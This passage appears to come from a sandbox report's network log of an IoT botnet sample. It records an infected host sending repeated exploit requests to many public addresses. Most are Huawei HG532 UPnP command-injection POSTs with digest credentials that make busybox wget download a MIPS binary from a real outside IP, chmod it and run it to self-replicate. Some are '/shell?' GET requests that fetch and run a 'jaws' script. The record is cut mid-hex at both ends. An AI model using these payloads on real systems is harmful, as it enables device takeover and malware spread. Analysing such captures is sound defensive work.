/tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.14	57242	156.111.5.54	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.227178097 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.14	59214	197.153.31.183	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.227200031 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.14	49346	41.195.242.98	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.227255106 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.14	49438	41.37.230.183	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.227264881 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.14	37136	197.131.205.140	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.227309942 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.14	35802	197.117.170.40	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.227349997 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.14	32886	197.252.115.250	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.227405071 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.14	58714	223.139.113.6	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.915462017 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.14	48600	146.243.201.184	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.915936947 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.14	57750	31.246.147.163	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.915982962 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.14	47054	148.225.35.36	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.916014910 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.14	44754	197.133.176.2	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918584108 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.14	41182	197.33.90.235	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918620110 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.14	60666	197.229.55.171	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918648005 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 